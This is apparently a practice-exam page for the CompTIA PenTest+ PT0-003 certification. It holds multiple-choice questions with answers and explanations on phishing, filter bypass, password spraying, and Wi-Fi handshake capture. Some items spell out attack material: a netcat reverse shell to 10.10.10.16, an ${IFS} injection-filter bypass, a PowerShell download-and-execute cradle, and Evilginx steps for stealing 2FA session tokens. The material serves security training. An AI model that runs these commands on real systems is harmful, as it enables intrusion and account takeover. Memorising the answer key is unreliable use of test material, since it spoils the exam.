ExamGecko
Home Home / CompTIA / PT0-003

CompTIA PT0-003 Practice Test - Questions Answers, Page 8

Question list
Search
Search

List of questions

Search

Related questions











A tester is performing an external phishing assessment on the top executives at a company. Two-factor authentication is enabled on the executives' accounts that are in the scope of work. Which of the following should the tester do to get access to these accounts?

A.
Configure an external domain using a typosquatting technique. Configure Evilginx to bypass two-factor authentication using a phishlet that simulates the mail portal for the company.
A.
Configure an external domain using a typosquatting technique. Configure Evilginx to bypass two-factor authentication using a phishlet that simulates the mail portal for the company.
Answers
B.
Configure Gophish to use an external domain. Clone the email portal web page from the company and get the two-factor authentication code using a brute-force attack method.
B.
Configure Gophish to use an external domain. Clone the email portal web page from the company and get the two-factor authentication code using a brute-force attack method.
Answers
C.
Configure an external domain using a typosquatting technique. Configure SET to bypass two-factor authentication using a phishlet that mimics the mail portal for the company.
C.
Configure an external domain using a typosquatting technique. Configure SET to bypass two-factor authentication using a phishlet that mimics the mail portal for the company.
Answers
D.
Configure Gophish to use an external domain. Clone the email portal web page from the company and get the two-factor authentication code using a vishing method.
D.
Configure Gophish to use an external domain. Clone the email portal web page from the company and get the two-factor authentication code using a vishing method.
Answers
Suggested answer: A

Explanation:

To bypass two-factor authentication (2FA) and gain access to the executives' accounts, the tester should use Evilginx with a typosquatting domain. Evilginx is a man-in-the-middle attack framework used to bypass 2FA by capturing session tokens.

Phishing with Evilginx:

Evilginx is designed to proxy legitimate login pages, capturing credentials and 2FA tokens in the process.

It uses 'phishlets' which are configurations that simulate real login portals.

Typosquatting:

Typosquatting involves registering domains that are misspelled versions of legitimate domains (e.g., example.co instead of example.com).

This technique tricks users into visiting the malicious domain, thinking it's legitimate.

Steps:

Configure an External Domain: Register a typosquatting domain similar to the company's domain.

Set Up Evilginx: Install and configure Evilginx on a server. Use a phishlet that mimics the company's mail portal.

Send Phishing Emails: Craft phishing emails targeting the executives, directing them to the typosquatting domain.

Capture Credentials and 2FA Tokens: When executives log in, Evilginx captures their credentials and session tokens, effectively bypassing 2FA.

Pentest

Reference:

Phishing: Social engineering technique to deceive users into providing sensitive information.

Two-Factor Authentication Bypass: Advanced phishing attacks like those using Evilginx can capture and reuse session tokens, bypassing 2FA mechanisms.

OSINT and Reconnaissance: Identifying key targets (executives) and crafting convincing phishing emails based on gathered information.

Using Evilginx with a typosquatting domain allows the tester to bypass 2FA and gain access to high-value accounts, demonstrating the effectiveness of advanced phishing techniques.

A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command:

nc -e /bin/sh 10.10.10.16 4444

Which of the following would most likely bypass the filtered space character?

A.
${IFS}
A.
${IFS}
Answers
B.
%0a
B.
%0a
Answers
C.
+ *
C.
+ *
Answers
D.
%20
D.
%20
Answers
Suggested answer: A

Explanation:

To bypass a command injection blocklist that filters out the space character, the tester can use ${IFS}. ${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.

Command Injection:

Command injection vulnerabilities allow attackers to execute arbitrary commands on the host operating system via a vulnerable application.

Filters or blocklists are often implemented to prevent exploitation by disallowing certain characters like spaces.

Bypassing Filters:

${IFS}: Using ${IFS} instead of a space can bypass filters that block spaces. ${IFS} expands to a space character in shell commands.

Example: The command nc -e /bin/sh 10.10.10.16 4444 can be rewritten as nc${IFS}-e${IFS}/bin/sh${IFS}10.10.10.16${IFS}4444.

Alternative Encodings:

%0a: Represents a newline character in URL encoding.

+: Sometimes used in place of space in URLs.

%20: URL encoding for space.

However, ${IFS} is most appropriate for shell command contexts.

Pentest

Reference:

Command Injection: Understanding how command injection works and common techniques to exploit it.

Bypassing Filters: Using creative methods like environment variable expansion to bypass input filters and execute commands.

Shell Scripting: Knowledge of shell scripting and environment variables is crucial for effective exploitation.

By using ${IFS}, the tester can bypass the filtered space character and execute the intended command, demonstrating the vulnerability's exploitability.

A penetration tester needs to identify all vulnerable input fields on a customer website. Which of the following tools would be best suited to complete this request?

A.
DAST
A.
DAST
Answers
B.
SAST
B.
SAST
Answers
C.
IAST
C.
IAST
Answers
D.
SCA
D.
SCA
Answers
Suggested answer: A

Explanation:

Dynamic Application Security Testing (DAST):

DAST tools interact with the running application from the outside, simulating attacks to identify security vulnerabilities.

They are particularly effective in identifying issues like SQL injection, XSS, CSRF, and other vulnerabilities in web applications.

DAST tools do not require access to the source code, making them suitable for black-box testing.

Advantages of DAST:

Real-World Testing: DAST simulates real-world attacks by interacting with the application in the same way a user would.

Comprehensive Coverage: Can identify vulnerabilities in all parts of the web application, including input fields, forms, and user interactions.

Automated Scanning: Automates the process of testing and identifying vulnerabilities, providing detailed reports on discovered issues.

Examples of DAST Tools:

OWASP ZAP (Zed Attack Proxy): An open-source DAST tool widely used for web application security testing.

Burp Suite: A popular commercial DAST tool that provides comprehensive scanning and testing capabilities.

Pentest

Reference:

Web Application Testing: Understanding the importance of testing web applications for security vulnerabilities and the role of different testing methodologies.

Security Testing Tools: Familiarity with various security testing tools and their applications in penetration testing.

DAST vs. SAST: Knowing the difference between DAST (dynamic testing) and SAST (static testing) and when to use each method.

By using a DAST tool, the penetration tester can effectively identify all vulnerable input fields on the customer website, ensuring a thorough assessment of the application's security.

A penetration tester enumerates a legacy Windows host on the same subnet. The tester needs to select exploit methods that will have the least impact on the host's operating stability. Which of the following commands should the tester try first?

A.
responder -I eth0 john responder_output.txt <rdp to target>
A.
responder -I eth0 john responder_output.txt <rdp to target>
Answers
B.
hydra -L administrator -P /path/to/pwlist.txt -t 100 rdp://<target_host>
B.
hydra -L administrator -P /path/to/pwlist.txt -t 100 rdp://<target_host>
Answers
C.
msf > use <module_name> msf > set <options> msf > set PAYLOAD windows/meterpreter/reverse_tcp msf > run
C.
msf > use <module_name> msf > set <options> msf > set PAYLOAD windows/meterpreter/reverse_tcp msf > run
Answers
D.
python3 ./buffer_overflow_with_shellcode.py <target> 445
D.
python3 ./buffer_overflow_with_shellcode.py <target> 445
Answers
Suggested answer: A

Explanation:

Responder is a tool used for capturing and analyzing NetBIOS, LLMNR, and MDNS queries to perform various man-in-the-middle (MITM) attacks. It can be used to capture hashed credentials, which can then be cracked offline. Using Responder has the least impact on the host's operating stability compared to more aggressive methods like buffer overflow attacks or payload injections.

Step-by-Step Explanation

Understanding Responder:

Purpose: Responder is used to capture NTLMv2 hashes from a Windows network.

Operation: It listens on the network for LLMNR, NBT-NS, and MDNS requests and responds to them, tricking the client into authenticating with the attacker's machine.

Command Breakdown:

responder -I eth0: Starts Responder on the network interface eth0.

john responder_output.txt: Uses John the Ripper to crack the hashes captured by Responder.

<rdp to target>: Suggests the next step after capturing credentials might involve using RDP with the cracked password, but the initial capture is passive and low impact.

Why This is the Best Choice:

Least Impact: Responder passively captures network traffic without interacting directly with the target host's system processes.

Stealth: It operates quietly on the network, making it less likely to cause stability issues or be detected by host-based security mechanisms.

Reference from Pentesting Literature:

Tools like Responder are discussed in penetration testing guides for initial reconnaissance and credential gathering without causing significant disruptions.

HTB write-ups frequently mention the use of Responder in network-based attacks to capture credentials safely.

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

A penetration tester executes multiple enumeration commands to find a path to escalate privileges. Given the following command:

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

Which of the following is the penetration tester attempting to enumerate?

A.
Attack path mapping
A.
Attack path mapping
Answers
B.
API keys
B.
API keys
Answers
C.
Passwords
C.
Passwords
Answers
D.
Permission
D.
Permission
Answers
Suggested answer: D

Explanation:

The command find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null is used to find files with the SUID bit set. SUID (Set User ID) permissions allow a file to be executed with the permissions of the file owner (root), rather than the permissions of the user running the file.

Step-by-Step Explanation

Understanding the Command:

find /: Search the entire filesystem.

-user root: Limit the search to files owned by the root user.

-perm -4000: Look for files with the SUID bit set.

-exec ls -ldb {} \;: Execute ls -ldb on each found file to list it in detail.

2>/dev/null: Redirect error messages to /dev/null to avoid cluttering the output.

Purpose:

Enumerating SUID Files: The command is used to identify files with elevated privileges that might be exploited for privilege escalation.

Security Risks: SUID files can pose security risks if they are vulnerable, as they can be used to execute code with root privileges.

Why Enumerate Permissions:

Identifying SUID files is a crucial step in privilege escalation as it reveals potential attack vectors that can be exploited to gain root access.

Reference from Pentesting Literature:

Enumeration of SUID files is a common practice in penetration testing, as discussed in various guides and write-ups.

HTB write-ups often detail how finding and exploiting SUID binaries can lead to root access on a target system.

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

A penetration tester creates a list of target domains that require further enumeration. The tester writes the following script to perform vulnerability scanning across the domains:

line 1: #!/usr/bin/bash

line 2: DOMAINS_LIST = '/path/to/list.txt'

line 3: while read -r i; do

line 4: nikto -h $i -o scan-$i.txt &

line 5: done

The script does not work as intended. Which of the following should the tester do to fix the script?

A.
Change line 2 to {'domain1', 'domain2', 'domain3', }.
A.
Change line 2 to {'domain1', 'domain2', 'domain3', }.
Answers
B.
Change line 3 to while true; read -r i; do.
B.
Change line 3 to while true; read -r i; do.
Answers
C.
Change line 4 to nikto $i | tee scan-$i.txt.
C.
Change line 4 to nikto $i | tee scan-$i.txt.
Answers
D.
Change line 5 to done < '$DOMAINS_LIST'.
D.
Change line 5 to done < '$DOMAINS_LIST'.
Answers
Suggested answer: D

Explanation:

The issue with the script lies in how the while loop reads the file containing the list of domains. The current script doesn't correctly redirect the file's content to the loop. Changing line 5 to done < '$DOMAINS_LIST' correctly directs the loop to read from the file.

Step-by-Step Explanation

Original Script:

DOMAINS_LIST='/path/to/list.txt'

while read -r i; do

nikto -h $i -o scan-$i.txt &

done

Identified Problem:

The while read -r i; do loop needs to know which file to read lines from. Without redirecting the input file to the loop, it doesn't process any input.

Solution:

Add done < '$DOMAINS_LIST' to the end of the loop to specify the input source.

Corrected script:

DOMAINS_LIST='/path/to/list.txt'

while read -r i; do

nikto -h $i -o scan-$i.txt &

done < '$DOMAINS_LIST'

done < '$DOMAINS_LIST' ensures that the while loop reads each line from DOMAINS_LIST.

This fix makes the loop iterate over each domain in the list and run nikto against each.

Reference from Pentesting Literature:

Scripting a

Given the following script:

$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split('\')[1]

If ($1 -eq 'administrator') {

echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell -noprofile -}

Which of the following is the penetration tester most likely trying to do?

Choose the correct answer

A.
Change the system's wallpaper based on the current user's preferences.
A.
Change the system's wallpaper based on the current user's preferences.
Answers
B.
Capture the administrator's password and transmit it to a remote server.
B.
Capture the administrator's password and transmit it to a remote server.
Answers
C.
Conditionally stage and execute a remote script.
C.
Conditionally stage and execute a remote script.
Answers
D.
Log the internet browsing history for a systems administrator.
D.
Log the internet browsing history for a systems administrator.
Answers
Suggested answer: C

A penetration tester completed OSINT work and needs to identify all subdomains for mydomain.com. Which of the following is the best command for the tester to use?

A.
nslookup mydomain.com /path/to/results.txt
A.
nslookup mydomain.com /path/to/results.txt
Answers
B.
crunch 1 2 | xargs -n 1 -I 'X' nslookup X.mydomain.com
B.
crunch 1 2 | xargs -n 1 -I 'X' nslookup X.mydomain.com
Answers
C.
dig @8.8.8.8 mydomain.com ANY /path/to/results.txt
C.
dig @8.8.8.8 mydomain.com ANY /path/to/results.txt
Answers
D.
cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com
D.
cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com
Answers
Suggested answer: D

Explanation:

Using dig with a wordlist to identify subdomains is an effective method for subdomain enumeration. The command cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com reads each line from wordlist.txt and performs a DNS lookup for each potential subdomain.

Step-by-Step Explanation

Command Breakdown:

cat wordlist.txt: Reads the contents of wordlist.txt, which contains a list of potential subdomains.

xargs -n 1 -I 'X': Takes each line from wordlist.txt and passes it to dig one at a time.

dig X.mydomain.com: Performs a DNS lookup for each subdomain.

Why This is the Best Choice:

Efficiency: xargs efficiently processes each line from the wordlist and passes it to dig for DNS resolution.

Automation: Automates the enumeration of subdomains, making it a practical choice for large lists.

Benefits:

Automates the process of subdomain enumeration using a wordlist.

Efficiently handles a large number of subdomains.

Reference from Pentesting Literature:

Subdomain enumeration is a critical part of the reconnaissance phase in penetration testing. Tools like dig and techniques involving wordlists are commonly discussed in penetration testing guides.

HTB write-ups often detail the use of similar commands for efficient subdomain enumeration.

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

While performing an internal assessment, a tester uses the following command:

crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@

Which of the following is the main purpose of the command?

A.
To perform a pass-the-hash attack over multiple endpoints within the internal network
A.
To perform a pass-the-hash attack over multiple endpoints within the internal network
Answers
B.
To perform common protocol scanning within the internal network
B.
To perform common protocol scanning within the internal network
Answers
C.
To perform password spraying on internal systems
C.
To perform password spraying on internal systems
Answers
D.
To execute a command in multiple endpoints at the same time
D.
To execute a command in multiple endpoints at the same time
Answers
Suggested answer: C

Explanation:

The command crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@ is used to perform password spraying on internal systems. CrackMapExec (CME) is a post-exploitation tool that helps automate the process of assessing large Active Directory networks. It supports multiple protocols, including SMB, and can perform various actions like password spraying, command execution, and more.

CrackMapExec:

CrackMapExec: A versatile tool designed for pentesters to facilitate the assessment of large Active Directory networks. It supports various protocols such as SMB, WinRM, and LDAP.

Purpose: Commonly used for tasks like password spraying, credential validation, and command execution.

Command Breakdown:

crackmapexec smb: Specifies the protocol to use, in this case, SMB (Server Message Block), which is commonly used for file sharing and communication between nodes in a network.

192.168.1.0/24: The target IP range, indicating a subnet scan across all IP addresses in the range.

-u user.txt: Specifies the file containing the list of usernames to be used for the attack.

-p Summer123@: Specifies the password to be used for all usernames in the user.txt file.

Password Spraying:

Definition: A technique where a single password (or a small number of passwords) is tried against a large number of usernames to avoid account lockouts that occur when brute-forcing a single account.

Goal: To find valid username-password combinations without triggering account lockout mechanisms.

Pentest

Reference:

Password Spraying: An effective method for gaining initial access during penetration tests, particularly against organizations that have weak password policies or commonly used passwords.

CrackMapExec: Widely used in penetration testing for its ability to automate and streamline the process of credential validation and exploitation across large networks.

By using the specified command, the tester performs a password spraying attack, attempting to log in with a common password across multiple usernames, identifying potential weak accounts.

A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?

A.
Enable monitoring mode using Aircrack-ng.
A.
Enable monitoring mode using Aircrack-ng.
Answers
B.
Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
B.
Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
Answers
C.
Run KARMA to break the password.
C.
Run KARMA to break the password.
Answers
D.
Research WiGLE.net for potential nearby client access points.
D.
Research WiGLE.net for potential nearby client access points.
Answers
Suggested answer: A

Explanation:

Monitoring Mode:

Definition: Monitoring mode allows a wireless network interface controller to capture all packets on a wireless channel, regardless of the destination.

Importance: This mode is necessary for capturing the four-way handshake required for WPA2 cracking.

Aircrack-ng Suite:

Aircrack-ng: A complete suite of tools to assess Wi-Fi network security. It includes tools for monitoring, attacking, testing, and cracking.

Enabling Monitor Mode: The specific tool used to enable monitor mode in Aircrack-ng is airmon-ng.

airmon-ng start wlan0

This command starts the interface wlan0 in monitoring mode.

Steps to Capture WPA2 Handshakes:

Enable Monitor Mode: Use airmon-ng to enable monitor mode.

Capture Handshakes: Use airodump-ng to capture packets and WPA2 handshakes.

airodump-ng wlan0mon

Pentest

Reference:

Wireless Security Assessments: Understanding the importance of monitoring mode for capturing data during wireless penetration tests.

Aircrack-ng Tools: Utilizing the suite effectively for tasks like capturing WPA2 handshakes, deauthenticating clients, and cracking passwords.

By enabling monitoring mode with Aircrack-ng, the tester can capture the necessary WPA2 handshakes to further analyze and attempt to crack the Wi-Fi network's password.

Total 120 questions
Go to page: of 12